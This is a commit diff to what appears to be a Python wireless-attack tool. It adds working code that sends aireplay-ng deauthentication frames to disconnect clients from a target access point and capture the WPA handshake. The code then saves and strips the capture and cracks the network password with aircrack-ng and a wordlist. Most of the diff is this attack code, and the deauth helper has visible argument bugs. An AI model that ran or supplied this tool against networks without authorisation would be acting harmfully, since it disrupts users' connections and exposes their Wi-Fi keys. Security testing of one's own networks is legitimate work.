WPA handshake capture and cracking and deauth works
Probably needs some tweaks/bug fixes, but yea.
This commit is contained in:
113
py/AttackWPA.py
113
py/AttackWPA.py
@@ -9,6 +9,9 @@ from Process import Process
|
|||||||
from WPAResult import WPAResult
|
from WPAResult import WPAResult
|
||||||
|
|
||||||
import time
|
import time
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
from shutil import copy
|
||||||
|
|
||||||
class AttackWPA(Attack):
|
class AttackWPA(Attack):
|
||||||
def __init__(self, target):
|
def __init__(self, target):
|
||||||
@@ -34,16 +37,21 @@ class AttackWPA(Attack):
|
|||||||
|
|
||||||
time_since_deauth = time.time()
|
time_since_deauth = time.time()
|
||||||
|
|
||||||
|
deauth_proc = None
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
Color.p('\r %s' % (' ' * 45))
|
Color.clear_line()
|
||||||
Color.p('\r{+} waiting for {C}handshake{W}...')
|
Color.p('\r{+} waiting for {C}handshake{W}...')
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
|
|
||||||
# Find .cap file
|
# Find .cap file
|
||||||
cap_files = airodump.find_files(endswith='.cap')
|
cap_files = airodump.find_files(endswith='.cap')
|
||||||
if len(cap_files) == 0:
|
if len(cap_files) == 0:
|
||||||
# No cap files yet
|
# No cap files yet
|
||||||
continue
|
continue
|
||||||
cap_file = cap_files[0]
|
cap_file = cap_files[0]
|
||||||
|
# TODO: Copy .cap file to temp for consistency
|
||||||
|
|
||||||
# Check for Handshake
|
# Check for Handshake
|
||||||
bssid = airodump_target.bssid
|
bssid = airodump_target.bssid
|
||||||
essid = None
|
essid = None
|
||||||
@@ -52,21 +60,36 @@ class AttackWPA(Attack):
|
|||||||
handshake = Handshake(cap_file, bssid=bssid, essid=essid)
|
handshake = Handshake(cap_file, bssid=bssid, essid=essid)
|
||||||
if handshake.has_handshake():
|
if handshake.has_handshake():
|
||||||
# We got a handshake
|
# We got a handshake
|
||||||
Color.pl(' {G}captured handshake!{W}')
|
Color.pl('\n\n{+} {G}successfully captured handshake{W}')
|
||||||
break
|
break
|
||||||
|
|
||||||
# TODO: Send deauth to a client or broadcast
|
# TODO: Delete copied .cap file in temp to save space
|
||||||
|
|
||||||
|
# Check status of deauth process
|
||||||
|
if deauth_proc and deauth_proc.poll() == None:
|
||||||
|
# Deauth process is still running
|
||||||
|
time_since_deauth = time.time()
|
||||||
|
|
||||||
|
# Send deauth to a client or broadcast
|
||||||
if time.time()-time_since_deauth > Configuration.wpa_deauth_timeout:
|
if time.time()-time_since_deauth > Configuration.wpa_deauth_timeout:
|
||||||
|
# We are N seconds since last deauth was sent,
|
||||||
|
# And the deauth process is not running.
|
||||||
if len(clients) == 0 or client_index >= len(clients):
|
if len(clients) == 0 or client_index >= len(clients):
|
||||||
# Send deauth for broadcoast
|
# TODO: Send deauth for broadcast
|
||||||
|
deauth_proc = self.deauth(airodump_target.bssid)
|
||||||
client_index = 0
|
client_index = 0
|
||||||
else:
|
else:
|
||||||
# Send deauth for client
|
# TODO: Send deauth for client
|
||||||
client = clients[client_index]
|
client = clients[client_index]
|
||||||
|
deauth_proc = self.deauth(client.bssid)
|
||||||
client_index += 1
|
client_index += 1
|
||||||
time_since_deauth = time.time()
|
time_since_deauth = time.time()
|
||||||
continue
|
continue
|
||||||
|
|
||||||
|
# Stop the deauth process if needed
|
||||||
|
if deauth_proc and deauth_proc.poll() == None:
|
||||||
|
deauth_proc.interrupt()
|
||||||
|
|
||||||
if not handshake:
|
if not handshake:
|
||||||
# No handshake, attack failed.
|
# No handshake, attack failed.
|
||||||
raise Exception('Handshake not captured')
|
raise Exception('Handshake not captured')
|
||||||
@@ -74,32 +97,25 @@ class AttackWPA(Attack):
|
|||||||
|
|
||||||
key = None
|
key = None
|
||||||
|
|
||||||
# TODO: Save copy of handshake to ./hs/
|
# Save copy of handshake to ./hs/
|
||||||
import os
|
self.save_handshake(handshake)
|
||||||
if not os.path.exists('hs'):
|
|
||||||
os.mkdir('hs')
|
|
||||||
import re
|
|
||||||
essid_safe = re.sub('[^a-zA-Z0-9]', '', handshake.essid)
|
|
||||||
bssid_safe = handshake.bssid.replace(':', '-')
|
|
||||||
date = time.strftime('%Y-%m-%dT%H-%M-%S')
|
|
||||||
cap_filename = 'handshake_%s_%s_%s.cap' % (essid_safe, bssid_safe, date)
|
|
||||||
cap_filename = os.path.join('hs', cap_filename)
|
|
||||||
from shutil import copy
|
|
||||||
Color.p('{+} saving copy of {C}handshake{W} to {C}%s{W} ' % cap_filename)
|
|
||||||
copy(handshake.capfile, cap_filename)
|
|
||||||
Color.pl(' {G}saved{W}')
|
|
||||||
handshake.capfile = cap_filename
|
|
||||||
|
|
||||||
# TODO: Crack handshake
|
# Print analysis of handshake file
|
||||||
|
Color.pl('\n{+} analysis of captured handshake file:')
|
||||||
|
handshake.analyze()
|
||||||
|
|
||||||
|
# Crack handshake
|
||||||
wordlist = Configuration.wordlist
|
wordlist = Configuration.wordlist
|
||||||
if wordlist != None:
|
if wordlist != None:
|
||||||
|
wordlist_name = wordlist.split(os.sep)[-1]
|
||||||
if not os.path.exists(wordlist):
|
if not os.path.exists(wordlist):
|
||||||
Color.pl('{!} {R}unable to crack:' +
|
Color.pl('{!} {R}unable to crack:' +
|
||||||
' wordlist {O}%s{R} does not exist{W}' % wordlist)
|
' wordlist {O}%s{R} does not exist{W}' % wordlist)
|
||||||
else:
|
else:
|
||||||
# We have a wordlist we can use
|
# We have a wordlist we can use
|
||||||
Color.p('{+} {G}cracking{W} handshake using {C}%s{W} wordlist'
|
Color.p('\n{+} {C}cracking handshake{W}' +
|
||||||
% wordlist.split(os.sep)[-1])
|
' using {C}aircrack-ng{W}' +
|
||||||
|
' with {C}%s{W} wordlist' % wordlist_name)
|
||||||
|
|
||||||
# TODO: More-verbose cracking status
|
# TODO: More-verbose cracking status
|
||||||
# 1. Read number of lines in 'wordlist'
|
# 1. Read number of lines in 'wordlist'
|
||||||
@@ -119,18 +135,65 @@ class AttackWPA(Attack):
|
|||||||
aircrack.wait()
|
aircrack.wait()
|
||||||
if os.path.exists(key_file):
|
if os.path.exists(key_file):
|
||||||
# We cracked it.
|
# We cracked it.
|
||||||
Color.pl('{G}cracked{W}')
|
Color.pl('\n\n{+} {G}successfully cracked PSK{W}\n')
|
||||||
f = open(key_file, 'r')
|
f = open(key_file, 'r')
|
||||||
key = f.read()
|
key = f.read()
|
||||||
f.close()
|
f.close()
|
||||||
else:
|
else:
|
||||||
Color.pl('{R}failed{W}')
|
Color.pl('\n{!} {R}handshake crack failed:' +
|
||||||
|
' {O}%s did not contain password{W}'
|
||||||
|
% wordlist.split(os.sep)[-1])
|
||||||
|
|
||||||
self.crack_result = WPAResult(bssid, essid, handshake.capfile, key)
|
self.crack_result = WPAResult(bssid, essid, handshake.capfile, key)
|
||||||
self.crack_result.dump()
|
self.crack_result.dump()
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
|
||||||
|
def save_handshake(self, handshake):
|
||||||
|
'''
|
||||||
|
Saves a copy of the handshake file to hs/
|
||||||
|
Args:
|
||||||
|
handshake - Instance of Handshake containing bssid, essid, capfile
|
||||||
|
'''
|
||||||
|
# Create handshake dir
|
||||||
|
if not os.path.exists(Configuration.wpa_handshake_dir):
|
||||||
|
os.mkdir(Configuration.wpa_handshake_dir)
|
||||||
|
|
||||||
|
# Generate filesystem-safe filename from bssid, essid and date
|
||||||
|
essid_safe = re.sub('[^a-zA-Z0-9]', '', handshake.essid)
|
||||||
|
bssid_safe = handshake.bssid.replace(':', '-')
|
||||||
|
date = time.strftime('%Y-%m-%dT%H-%M-%S')
|
||||||
|
cap_filename = 'handshake_%s_%s_%s.cap' % (essid_safe, bssid_safe, date)
|
||||||
|
cap_filename = os.path.join(Configuration.wpa_handshake_dir, cap_filename)
|
||||||
|
|
||||||
|
Color.p('{+} saving copy of {C}handshake{W} to {C}%s{W} ' % cap_filename)
|
||||||
|
copy(handshake.capfile, cap_filename)
|
||||||
|
Color.pl(' {G}saved{W}')
|
||||||
|
|
||||||
|
# Update handshake to use the stored handshake file for future operations
|
||||||
|
handshake.capfile = cap_filename
|
||||||
|
|
||||||
|
|
||||||
|
def deauth(self, target_bssid, station_bssid=None):
|
||||||
|
'''
|
||||||
|
Sends deauthentication request.
|
||||||
|
Args:
|
||||||
|
target_bssid - AP BSSID to deauth
|
||||||
|
station_bssid - Client BSSID to deauth
|
||||||
|
Deauths 'broadcast' if no client is specified.
|
||||||
|
'''
|
||||||
|
command = [
|
||||||
|
'aireplay-ng',
|
||||||
|
'--ignore-negative-one',
|
||||||
|
'-0', # Deauthentication
|
||||||
|
'-a', self.target.bssid
|
||||||
|
]
|
||||||
|
if station_bssid:
|
||||||
|
# Deauthing a specific client
|
||||||
|
command.extend(['-h', station_bssid])
|
||||||
|
command.append(Configuration.interface)
|
||||||
|
return Process(command)
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
from Target import Target
|
from Target import Target
|
||||||
fields = "A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 11, 54e,WPA, WPA, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, ".split(',')
|
fields = "A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 11, 54e,WPA, WPA, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, ".split(',')
|
||||||
|
|||||||
@@ -34,6 +34,10 @@ class Color(object):
|
|||||||
'''
|
'''
|
||||||
sys.stdout.write(Color.s(text))
|
sys.stdout.write(Color.s(text))
|
||||||
sys.stdout.flush()
|
sys.stdout.flush()
|
||||||
|
if '\r' in text:
|
||||||
|
text = text[text.rfind('\r')+1:]
|
||||||
|
Color.last_sameline_length = len(text)
|
||||||
|
else:
|
||||||
Color.last_sameline_length += len(text)
|
Color.last_sameline_length += len(text)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ from Process import Process
|
|||||||
from Color import Color
|
from Color import Color
|
||||||
|
|
||||||
import re
|
import re
|
||||||
|
import os
|
||||||
|
|
||||||
class Handshake(object):
|
class Handshake(object):
|
||||||
def __init__(self, capfile, bssid=None, essid=None):
|
def __init__(self, capfile, bssid=None, essid=None):
|
||||||
@@ -22,7 +23,7 @@ class Handshake(object):
|
|||||||
# Find bssid/essid pairs that have handshakes in Pyrit
|
# Find bssid/essid pairs that have handshakes in Pyrit
|
||||||
pairs = self.pyrit_handshakes()
|
pairs = self.pyrit_handshakes()
|
||||||
|
|
||||||
if len(pairs) == 0:
|
if len(pairs) == 0 and not self.bssid and not self.essid:
|
||||||
# Tshark and Pyrit failed us, nothing else we can do.
|
# Tshark and Pyrit failed us, nothing else we can do.
|
||||||
raise Exception("Cannot find BSSID or ESSID in cap file")
|
raise Exception("Cannot find BSSID or ESSID in cap file")
|
||||||
|
|
||||||
@@ -57,19 +58,19 @@ class Handshake(object):
|
|||||||
|
|
||||||
def has_handshake(self):
|
def has_handshake(self):
|
||||||
if not self.bssid or not self.essid:
|
if not self.bssid or not self.essid:
|
||||||
self.divine_essid_and_bssid()
|
self.divine_bssid_and_essid()
|
||||||
|
|
||||||
if len(self.tshark_handshakes()) > 0:
|
if len(self.tshark_handshakes()) > 0:
|
||||||
return True
|
return True
|
||||||
|
|
||||||
if len(self.cowpatty_handshakes()) > 0:
|
|
||||||
return True
|
|
||||||
|
|
||||||
if len(self.pyrit_handshakes()) > 0:
|
if len(self.pyrit_handshakes()) > 0:
|
||||||
return True
|
return True
|
||||||
|
|
||||||
# XXX: Disabling aircrack check since I don't think it's reliable.
|
|
||||||
|
# XXX: Disabling these checks since I don't think they are reliable.
|
||||||
'''
|
'''
|
||||||
|
if len(self.cowpatty_handshakes()) > 0:
|
||||||
|
return True
|
||||||
if len(self.aircrack_handshakes()) > 0:
|
if len(self.aircrack_handshakes()) > 0:
|
||||||
return True
|
return True
|
||||||
'''
|
'''
|
||||||
@@ -294,6 +295,37 @@ class Handshake(object):
|
|||||||
pairs = self.aircrack_handshakes()
|
pairs = self.aircrack_handshakes()
|
||||||
Handshake.print_pairs(pairs, self.capfile, 'aircrack')
|
Handshake.print_pairs(pairs, self.capfile, 'aircrack')
|
||||||
|
|
||||||
|
|
||||||
|
def strip(self, outfile=None):
|
||||||
|
# XXX: This method might break aircrack-ng, use at own risk.
|
||||||
|
'''
|
||||||
|
Strips out packets from handshake that aren't necessary to crack.
|
||||||
|
Leaves only handshake packets and SSID broadcast (for discovery).
|
||||||
|
Args:
|
||||||
|
outfile - Filename to save stripped handshake to.
|
||||||
|
If outfile==None, overwrite existing self.capfile.
|
||||||
|
'''
|
||||||
|
if not outfile:
|
||||||
|
outfile = self.capfile + '.temp'
|
||||||
|
replace_existing_file = True
|
||||||
|
else:
|
||||||
|
replace_existing_file = False
|
||||||
|
|
||||||
|
cmd = [
|
||||||
|
'tshark',
|
||||||
|
'-r', self.capfile, # input file
|
||||||
|
'-R', 'wlan.fc.type_subtype == 0x08 || eapol', # filter
|
||||||
|
'-w', outfile # output file
|
||||||
|
]
|
||||||
|
proc = Process(cmd)
|
||||||
|
proc.wait()
|
||||||
|
if replace_existing_file:
|
||||||
|
from shutil import copy
|
||||||
|
copy(outfile, self.capfile)
|
||||||
|
os.remove(outfile)
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def print_pairs(pairs, capfile, tool=None):
|
def print_pairs(pairs, capfile, tool=None):
|
||||||
'''
|
'''
|
||||||
@@ -304,28 +336,27 @@ class Handshake(object):
|
|||||||
tool_str = '{C}%s{W}: ' % tool.rjust(8)
|
tool_str = '{C}%s{W}: ' % tool.rjust(8)
|
||||||
|
|
||||||
if len(pairs) == 0:
|
if len(pairs) == 0:
|
||||||
Color.pl("{!} %s%s {R}does not{O} contain a handshake{W}"
|
Color.pl("{!} %s.cap file {R}does not{O} contain a valid handshake{W}"
|
||||||
% (tool_str, capfile))
|
% (tool_str))
|
||||||
return
|
return
|
||||||
|
|
||||||
for (bssid, essid) in pairs:
|
for (bssid, essid) in pairs:
|
||||||
if bssid and essid:
|
if bssid and essid:
|
||||||
Color.pl("{+} %s%s {G}contains a handshake{W} for {G}%s{W} ({G}%s{W})"
|
Color.pl('{+} %s.cap file' % tool_str +
|
||||||
% (tool_str, capfile, bssid, essid))
|
' {G}contains a valid handshake{W}' +
|
||||||
|
' for {G}%s{W} ({G}%s{W})' % (bssid, essid))
|
||||||
elif bssid:
|
elif bssid:
|
||||||
Color.pl("{+} %s%s {G}contains a handshake{W} for {G}%s{W}"
|
Color.pl('{+} %s.cap file' % tool_str +
|
||||||
% (tool_str, capfile, bssid))
|
' {G}contains a valid handshake{W}' +
|
||||||
|
' for {G}%s{W}' % bssid)
|
||||||
elif essid:
|
elif essid:
|
||||||
Color.pl("{+} %s%s {G}contains a handshake{W} for ({G}%s{W})"
|
Color.pl('{+} %s.cap file' % tool_str +
|
||||||
% (tool_str, capfile, essid))
|
' {G}contains a valid handshake{W}' +
|
||||||
|
' for ({G}%s{W})' % essid)
|
||||||
|
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
#hs = Handshake('/tmp/test.cap')
|
hs = Handshake('./tests/files/handshake_exists.cap', bssid='A4:2B:8C:16:6B:3A')
|
||||||
hs = Handshake('/tmp/test.cap', bssid='30:85:a9:39:d2:18')
|
|
||||||
#hs = Handshake('/tmp/test.cap', bssid='30:85:a9:39:d2:18', essid="Uncle Router's Gigabit LAN Party")
|
|
||||||
#hs = Handshake('/tmp/test.cap.stripped.tshark')
|
|
||||||
|
|
||||||
hs.analyze()
|
hs.analyze()
|
||||||
print "has_hanshake() =", hs.has_handshake()
|
print "has_hanshake() =", hs.has_handshake()
|
||||||
|
|||||||
Binary file not shown.
Reference in New Issue
Block a user